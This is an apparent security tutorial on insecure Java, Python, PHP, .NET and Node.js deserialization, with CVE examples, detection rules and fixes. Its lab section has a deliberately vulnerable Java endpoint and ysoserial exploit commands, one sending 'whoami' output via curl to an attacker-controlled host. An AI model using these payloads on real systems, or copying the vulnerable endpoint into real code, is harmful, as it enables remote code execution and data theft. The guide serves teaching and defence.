Insecure Deserialization Explained: Attack Examples & Prevention
Insecure deserialization lets an attacker turn a byte stream into arbitrary code execution by abusing native deserialization features the developer did not ask for. It is CWE-502, a class of vulnerability present in Java, Python, PHP, .NET and Node.js. This guide covers the gadget-chain anatomy, a reproducible docker-compose lab, real CVEs, detection rules, and per-language fixes.
What insecure deserialization is
MITRE defines CWE-502 as the product "deserializ[ing] untrusted data without sufficiently ensuring that the resulting data will be valid." The weakness is a base-level CWE and spans all languages with native binary serialization: Java's java.io.Serializable, Python's pickle, PHP's unserialize(), .NET's BinaryFormatter, and Node.js ecosystem packages like node-serialize.
The OWASP Top 10:2021 lists Insecure Deserialization as A08:2021 Software and Data Integrity Failures, a category that also includes software supply-chain risks. The previous edition (2017) gave it its own slot as A8:2017. The 2021 placement is broader but the root cause is unchanged: the deserialization primitive accepts both data and executable code in the same stream, and no integrity boundary exists between them.
Practical consequence: you cannot block deserialization attacks with an allow-list of values or a regex. The attack surface is the deserialization method itself. The fix is either to not use native serialization with untrusted input, or to apply strict class-level allow-listing at the deserializer. Like SQL injection and server-side template injection, it is untrusted data being interpreted as code.
Anatomy: how gadget chains work
A gadget chain is a sequence of method calls that starts at a deserialization method (e.g. readObject(),unserialize(), pickle.loads()) and ends at an execution sink (Runtime.exec(),system(), eval()). The chain uses only classes that are already present on the application classpath: the attacker never deploys new code. The gadget classes are "innocent" library classes whose constructor,readObject(), or finalizer happens to call a method that the attacker can control the argument to.
1. Attacker
Sends a crafted serialized object graph
2. Deserializer
Instantiates the classes the stream names
3. Gadget classes
readObject() hooks call attacker-controlled methods
4. Execution sink
Runtime.exec() or eval() runs the attacker command
The canonical example is the Apache Commons Collections (ACC) gadget chain discovered by FoxGlove Security in 2015. Java's InvocationTransformer class, part of commons-collections, implements a pattern that lets an attacker chain arbitrary method calls. When a serialized object containing a craftedInvocationTransformer is deserialized via ObjectInputStream.readObject(), the chain resolves to Runtime.exec() with attacker-supplied command arguments. The CVE cluster that followed (CVE-2015-4852 WebLogic, CVE-2015-7501 Apache Commons Collections, CVE-2015-8103 JBoss) established that any Java application accepting serialized objects over the network is effectively a free RCE vector.
The ysoserial tool (GitHub) packages multiple gadget chains for Java. Each chain targets a different classpath dependency: CommonsCollections1-6, Jdk7u21, JRMPClient, C3P0, URLDNS, BeanShell, and others. The attacker chooses the chain that matches the target application's known dependencies.
Serialization format identification
Before you can exploit a deserialization vulnerability, you need to identify the serialization format. Each language has tell-tale signatures:
| Language | Key classes / functions | Wire signature | Detection hint |
|---|---|---|---|
| Java | ObjectInputStream.readObject() | Hex: AC ED 00 05Base64: rO0 | Content-Type: application/x-java-serialized-object |
| Python | pickle.loads() | Base64: starts with gASV(protocol 2+) or trailing dot . | Embedded __reduce__ or cos.system in payload |
| PHP | unserialize() | Text format: O:4:"User":2:{...} | Always starts with O:, a:, s:, b:, N; |
| .NET | BinaryFormatter.Deserialize() | Base64: starts with AAEAAAD///// | Type metadata visible in decoded form |
| Node.js | node-serialize, funcster | JSON with _$$ND_FUNC$$_ prefix | eval() on deserialized function strings |
Real-world CVEs
| CVE | Product | CVSS | Language | Impact |
|---|---|---|---|---|
| CVE-2015-4852 | Oracle WebLogic | 7.5 (pre-2016) / 9.8 (reanalysis) | Java | Unauthenticated RCE via T3 protocol deserialization; the first widespread ACC gadget-chain exploitation in the wild |
| CVE-2017-10271 | Oracle WebLogic WLS | 7.5 | Java | XMLDecoder deserialization in the WLS Security component; wormable in 2017–2018 campaigns |
| CVE-2024-44902 | ThinkPHP | 9.8 | PHP | Insecure deserialization in ThinkPHP 6.1.3–8.0.4; unauthenticated RCE via gadget chain in PHP session handling |
| CVE-2025-8875 | N-able N-central | 9.8 | Java | Insecure deserialization in N-central≤2025.3.0 (authentication required); fixed in 2025.3.1 |
| GHSA-c2jg-5cp7-6wc7 | Pipecat (AI pipeline) | 9.8 | Python | Pickle deserialization RCE in LivekitFrameSerializer; unauthenticated remote code execution via crafted pickle payload |
| CVE-2026-0763 | GPT Academic | 9.8 | Python | Pickle deserialization in GPT Academic ≤3.91; unauthenticated RCE, actively exploited, CISA KEV March 2026 |
Reproducible lab: Java deserialization RCE
This docker-compose lab runs a vulnerable Java Spring Boot application that deserializes user-supplied objects via ObjectInputStream.readObject(). The attack container carries ysoserial and targets a known CommonsCollections gadget chain. A hardened version of the app uses SerialKiller class allow-listing.
Project structure
deserialization-lab/
├── docker-compose.yml
├── vulnerable/
│ ├── Dockerfile
│ ├── pom.xml
│ └── src/main/java/com/deserlab/
│ └── DeserController.java
├── attacker/
│ └── Dockerfile
└── hardened/
├── Dockerfile
├── pom.xml
└── src/main/java/com/deserlab/
├── DeserController.java
└── SafeObjectInputStream.javaVulnerable endpoint (DeserController.java)
@PostMapping("/deserialize")
public String deserialize(@RequestBody byte[] data) {
try {
ByteArrayInputStream bais = new ByteArrayInputStream(data);
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject(); // VULNERABLE
ois.close();
return "Deserialized: " + obj.getClass().getName();
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}Exploit command (from attacker container)
# Generate payload (CommonsCollections1 chain, 'id' command)
java -jar ysoserial-all.jar CommonsCollections1 'id' > payload.bin
# Send to vulnerable endpoint — base64-encoded byte stream
curl -X POST http://vulnerable:8080/deserialize \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.bin
# Response: Error: java.io.IOException: ... (RCE already executed server-side)
# Blind RCE check (out-of-band via DNS)
java -jar ysoserial-all.jar CommonsCollections1 \
'curl http://attacker-controlled.oastify.com/$(whoami)' > payload2.bin
curl -X POST http://vulnerable:8080/deserialize \
-H "Content-Type: application/octet-stream" \
--data-binary @payload2.bindocker-compose.yml
version: '3.8'
services:
vulnerable:
build: ./vulnerable
ports: ["8081:8080"]
hardened:
build: ./hardened
ports: ["8082:8080"]
attacker:
build: ./attacker
image: ysoserial:latest
command: tail -f /dev/null
depends_on: [vulnerable]Hardened endpoint with class allow-listing
public class SafeObjectInputStream extends ObjectInputStream {
private static final Set<String> ALLOWED = Set.of(
"com.deserlab.UserProfile",
"com.deserlab.AuditLog",
"java.util.ArrayList",
"java.util.HashMap"
);
public SafeObjectInputStream(InputStream in) throws IOException {
super(in);
}
@Override
protected Class<?> resolveClass(ObjectStreamClass desc)
throws IOException, ClassNotFoundException {
if (!ALLOWED.contains(desc.getName())) {
throw new InvalidClassException(
desc.getName(), "not in allow-list");
}
return super.resolveClass(desc);
}
}
// Usage in controller:
SafeObjectInputStream ois =
new SafeObjectInputStream(bais);
Object obj = ois.readObject();Per-language fix patterns
Java
- Override
ObjectInputStream.resolveClass()with a class allow-list (see hardened endpoint above). The SerialKiller library wraps this pattern. - Use a safe serialization framework: Jackson (JSON), Protocol Buffers, or Kryo with a class registration list rather than raw
ObjectInputStream. - Never expose
XMLDecoder,XStream.fromXML(), orSnakeYAML.load()to untrusted input. - Mark sensitive fields
private transientto prevent data leakage via serialization.
Python
- Never call
pickle.loads()on untrusted data. There is no safe allow-list mechanism for pickle, because it is design-insecure with attacker-controlled input. - Use
json.loads()for trusted data interchange. For complex objects, use a schema-based serializer likemarshmallow. - If pickle is unavoidable (machine learning model files, Redis queue), load from a path you control, never from user uploads or HTTP request bodies.
- Audit for
pickle.load,pickle.loads,yaml.load()(useyaml.safe_load()instead),jsonpickle.decode().
PHP
- Never pass user input directly to
unserialize(). Usejson_decode()/json_encode()for data interchange. - If you must unserialize data from a database or cache, sign it with
hash_hmac()and verify the signature before deserializing. - PHP 7.x+ deprecated
php://filterunserialize tricks. The__wakeup()and__destruct()magic methods are still the primary attack surface. - Configure
session.serialize_handlertophp_serialize(notphporphp_binary) to reduce session-based deserialization attacks.
Node.js / JavaScript
- Never use
eval()ornew Function()on deserialized strings. Packages likenode-serializereconstruct functions viaeval()internally. - Use JSON for data interchange:
JSON.parse()/JSON.stringify(). - Avoid
funcster,node-serialize, andserialize-javascriptin user-facing endpoints.
Go
- Go has no native binary serialization equivalent to Java serialization or Python pickle. Use
encoding/jsonorencoding/gobwith known types. encoding/gobis safe when decoding into a pre-declared type (the decoder only populates fields of the target struct). Do not useinterfaceas the decode target if the stream comes from an untrusted source.- Third-party packages like
vmihailenco/msgpack/v5orugorji/go/codecwithinterfacetargets can be abused; always decode into concrete types.
Detection rules
Semgrep: Java unsafe deserialization
rules:
- id: java-unsafe-deserialization-objectinputstream
patterns:
- pattern: |
new java.io.ObjectInputStream($STREAM).readObject()
- pattern-not: |
new $ALLOW_LISTED_CLASS(...).readObject()
message: |
Direct ObjectInputStream.readObject() on untrusted data.
Override resolveClass() with a class allow-list or use
a safe serialization format.
severity: ERROR
languages: [java]
- id: java-xmldecoder-deserialization
pattern: new java.beans.XMLDecoder($INPUT).readObject()
message: XMLDecoder deserialization allows arbitrary object
instantiation; use JSON or a safe XML parser.
severity: ERROR
languages: [java]Semgrep: Python pickle
rules:
- id: python-pickle-loads
patterns:
- pattern-either:
- pattern: pickle.loads(...)
- pattern: pickle.load(...)
- pattern: yaml.load(...)
- pattern: jsonpickle.decode(...)
message: |
Python pickle/yaml.load() deserialization of potentially
untrusted data can execute arbitrary code. Use json.loads()
or yaml.safe_load() instead.
severity: ERROR
languages: [python]Suricata: Java serialization stream detection
alert tcp any any -> any any (
msg:"JAVA-SERIALIZATION ObjectInputStream stream detected";
content:"|ac ed 00 05|";
fast_pattern;
sid:1001001; rev:1;)
alert http any any -> any any (
msg:"JAVA-SERIALIZATION Base64-encoded stream";
content:"rO0"; http_client_body;
sid:1001002; rev:1;)Detection in black-box testing
When you do not have source code access, look for serialized data in these locations:
- Cookies: Base64-decoded values that start with
AC ED 00 05orO:... - Hidden form fields: Many Java frameworks store session state in a
__VIEWSTATEor similar hidden field. - Request body: Content-Type
application/x-java-serialized-objector raw byte streams. - URL parameters: Base64-encoded data in query strings or path segments.
- WebSocket messages: Binary WebSocket frames beginning with the magic bytes.
The Burp Suite Java Deserialization Scanner extension automates the detection and exploitation process. It sends probes with known gadget chains and inspects responses for evidence of deserialization (timing changes, exceptions, out-of-band interactions).
Prevention decision matrix
| # | Control | Effectiveness | Verification |
|---|---|---|---|
| 1 | Replace native serialization with JSON or Protocol Buffers | Complete: removes the attack surface entirely | No ObjectInputStream, pickle.loads, unserialize() in codebase |
| 2 | Class allow-list on deserializer | High: blocks gadget-class injection | Allow-list is referenced; gadget-chain payload returns InvalidClassException |
| 3 | Integrity check (HMAC) on serialized data, with the same key-handling rules as JWT signature verification | Moderate: prevents tampering but does not prevent deserialization of attacker-signed data | HMAC key is not attacker-influenced; any modified payload rejected |
| 4 | Egress filtering (network-level) | Defense-in-depth: limits data exfiltration but does not prevent RCE itself | Unexpected outbound connections from app tier generate alerts |
| 5 | Update libraries with known gadget chains | Partial: removes common chains but novel chains are still possible | SBOM scan confirms no known gadget-chain libraries at exploitable versions |
| 6 | Code review + CI gate with Semgrep | Prevention + detection: catches regressions before deploy | A deliberately vulnerable commit fails CI pipeline |
What does not work (and why teams still try it)
- Blocking magic bytes. Filtering
AC ED 00 05in a WAF. The payload can be Base64-encoded, chunked, wrapped in HTTP compression, or obfuscated inside a higher-level protocol. Moreover, this does nothing for PHP or Python deserialization which have different signatures. - Input validation on deserialized objects. Validation runs after the object is fully constructed, so the gadget chain has already executed. A
__wakeup()orreadObject()override fires before any application validation code runs. - Using a deny-list of known dangerous classes. Novel gadget chains use classes the deny-list does not know about. An allow-list is the only complete approach because it constrains the attacker to approved classes.
- Relying on "we do not use a framework." Gadget chains use library classes, not framework classes. The Java stdlib itself has been shown to contain usable gadgets (e.g. JDK7u21 chain uses only JDK runtime classes).
- Assuming JSON/YAML serialization is safe.
yaml.load()in Python is equivalent to pickle: it instantiates arbitrary Python objects. SnakeYAML in Java also allows arbitrary class instantiation. Useyaml.safe_load()or configure a constructor with class restrictions.
Key takeaways
- Insecure deserialization (CWE-502) turns a byte stream into RCE via gadget chains: sequences of method calls that start at the deserializer and end at an execution sink.
- The fix is structural: replace native serialization with safe interchange formats (JSON, Protocol Buffers), or apply a class allow-list at the deserializer (Java
resolveClass()override, Python's restricted unpickler). - Real CVEs confirm the pattern repeats: WebLogic (2015, 2017), ThinkPHP (2024), N-able N-central (2025), GPT Academic (2026). Each new application that exposes native deserialization to untrusted input inherits the same attack class.
- Detect it in code (Semgrep rules for Java
ObjectInputStream, Pythonpickle.loads) and on the wire (Suricata rules matching Java serialization magic bytes). - Test with the ysoserial tool and the docker-compose lab above. The hardened endpoint should reject every payload.
Frequently asked questions
- What is insecure deserialization?
- Insecure deserialization (CWE-502) is reconstructing objects from untrusted bytes with a native serializer: Java Serializable, Python pickle, PHP unserialize(), .NET BinaryFormatter. The byte stream chooses which classes are instantiated, so the attacker controls code paths that run during deserialization.
- What is a gadget chain?
- A gadget chain is a sequence of method calls through classes already on the application's classpath that starts at a deserialization hook such as readObject() and ends at an execution sink such as Runtime.exec(). The attacker ships no new code, only a crafted object graph.
- Does signing serialized data with an HMAC make deserialization safe?
- It stops tampering by anyone who does not hold the key, but it does not make deserializing native objects safe: if the key leaks or the attacker can get data signed, the gadget chain still runs. Prefer data-only formats such as JSON or Protocol Buffers.
- How do you fix insecure deserialization?
- Replace native serialization of untrusted input with a data-only format such as JSON or Protocol Buffers. Where that is impossible, enforce a strict class allowlist in the deserializer, for example a Java resolveClass() override or ObjectInputFilter, or a restricted Python unpickler.
Kokkuvõte eesti keeles
Ebaturvaline deserialiseerimine (CWE-502) on nõrkus, kus rakendus taastab kasutaja esitatud bittide järjestusest objekte, kasutades selleks keele omi seraliseerimisvorminguid (Java ObjectInputStream, Python pickle, PHP unserialize()). Ründaja saab saata spetsiaalselt koostatud jada, mis deserialiseerimisel käivitab suvalise koodi, ilma et rakendusse oleks vaja uut koodi lisada. Selleks kasutatakse vidinahelaid (gadget chains), mis koosnevad juba olemasolevatest teegiklassidest.
Tuntuimad ründed kasutavad Apache Commons Collectionsi teeki (2015. aasta WebLogic-i rünne), JDK7u21 ahelat või PHP __wakeup()imemeetodeid. Viimastel aastatel on kriitilisi haavatavusi leitud ThinkPHP-s (CVE-2024-44902, CVSS 9.8), N-able N-centralis (CVE-2025-8875, CVSS 9.8) ja GPT Academicus (CVE-2026-0763, CVSS 9.8).
Parim kaitse on vältida keele omi serialiseerimisvormingute kasutamist usaldamata sisendiga ja kasutada JSON-i või Protocol Buffersit. Kui see pole võimalik, tuleb Java-s rakendada klasside lubamise nimekirja (allow-list)resolveClass() meetodi ülekirjutamisega, Pythonis kasutada piiratud unpicklerit ja PHP-s allkirjastada andmed enne deserialiseerimist. Tuvastuskood (Semgrep) ja võrgureeglid (Suricata) aitavad vältida taandarengut. Täielik lokaalne docker-compose labor ja ründenäited on ülal inglise keeles.
Sources
- CWE-502: Deserialization of Untrusted Data
- OWASP Top 10:2021: A08 Software and Data Integrity Failures
- OWASP Cheat Sheet Series: Deserialization
- ysoserial: Proof-of-concept Java deserialization payload generator
- SerialKiller: Java deserialization security filter
- PortSwigger: Insecure Deserialization (Web Security Academy)
- NVD: CVE-2015-4852 (Oracle WebLogic T3 deserialization)
- NVD: CVE-2017-10271 (Oracle WebLogic WLS XMLDecoder)
- NVD: CVE-2024-44902 (ThinkPHP insecure deserialization)
- NVD: CVE-2025-8875 (N-able N-central deserialization)
- GHSA-c2jg-5cp7-6wc7: Pipecat pickle deserialization RCE
- GitHub Advisory: CVE-2026-0763 (GPT Academic pickle deserialization)
- Google Cloud: Systematically Hunting for Deserialization Exploits